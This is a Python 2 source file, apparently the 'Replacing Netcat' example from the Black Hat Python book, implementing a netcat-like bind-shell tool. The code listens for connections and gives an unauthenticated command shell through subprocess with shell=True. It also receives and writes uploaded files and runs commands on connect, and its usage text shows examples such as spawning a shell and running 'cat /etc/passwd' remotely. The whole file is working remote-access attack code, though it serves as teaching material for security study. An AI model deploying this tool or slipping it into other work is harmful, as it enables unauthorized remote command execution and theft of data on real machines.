bhpnet.py

#!/usr/bin/python2.7
#Black Hat Python Example: Replacing Netcat

import sys
import socket
import getopt
import threading
import subprocess

#define some global variables
listen 			= False
command			= False
upload 			= False
execute 		= ""
target 			= ""
upload_destination 	= ""
port 			= 0

def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host -p port"
    
    print "-l --listen                - listen on [host]:[port] for incoming connections" 
    print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
    print "-c --comand                - initialize a command shell"
    print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
    
    print
    print
    print "Examples:"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI'| ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)
    
def run_command(command):
    #trim the newline
    command =command.rstrip()
    
    #run the command and get the output back
    try:
        output= subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
    except:
        output= "Failed to execute command.\r\n"
    #send the output back to the client
    return output

def client_handler(client_socket):
    global upload
    global execute
    global command
    
    #check for upload
    if len(upload_destination):
        
        #read in all of the bytes and write to our destination
        file_buffer = ""
        
        #keep reading data until none is available
        while True:
            data= client_socket.recv(1024)
            
            if not data:
                break
            else:
                file_buffer += data
        #now we take these bytes and try to write them out
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()
            
            #acknowledge that we wrote the file out
            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
            
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)
            
    #check for command execution
    if len(execute):
        
        #run the command
        output = run_command(execute)
        
        client_socket.send(output)
    #now we go into another loop if a command shell was requested
    if command:
        
        while True:
            #show a simple prompt
            client_socket.send("<BHP:#>")
            
            #now we recieve until we see a linefeed
            cmd_buffer=""    
	    while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
                
            #send back the command output
            response= run_command(cmd_buffer)
            
            #send back the response
            client_socket.send(response)

def server_loop():
    global target
    
    #if no target is defined, we listen on all interfaces
    if not len(target):
        target ="0.0.0.0"
        
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))
    server.listen(5)
    
    while True:
        client_socket, addr= server.accept()
        
        #spin off a thread to handle our new client
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()
           
def client_sender(buffer):
    
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        #connect to our target host
        client.connect((target,port))
        
        if len(buffer):
            client.send(buffer)
        while True:
            #now wait for data back
            recv_len = 1
            response =""
            
            while recv_len:
                
                data = client.recv(4096)
                recv_len = len(data)
                response+= data
                
                if recv_len < 4096:
                    break
            print response,
            
            #wait for more input
            buffer = raw_input("")
            buffer += "\n"
            
            #send it off
            client.send(buffer)
            
    except:
        
        print "[*] Exception! Exiting."
        
        #tear down the connection
        client.close()


def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    #read the command line arguments
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", ["help","listen","execute","target","port","command","upload"]) 
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen=True
        elif o in ("-e", "--execute"):
            execute = a 
        elif o in ("-c","--comandshell"):
            command = True
        elif o in ("-u","--upload"):
            upload_destination = a
        elif o in ("-t","--target"):
            target = a
        elif o in ("-p","--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    # are we going to listen or just send data from stdin?
    if not listen and len(target) and port >  0:
            # read in the buffer from the command line
            # this will block, so send CTRL-D if not sending input
            # to stdin
        buffer=sys.stdin.read()
            #send data
        client_sender(buffer)
    # we are going to listen and potentially
    # upload things, execute commands, and drop a shell back
    # depending on our command line options above
    if listen:
        server_loop()

main()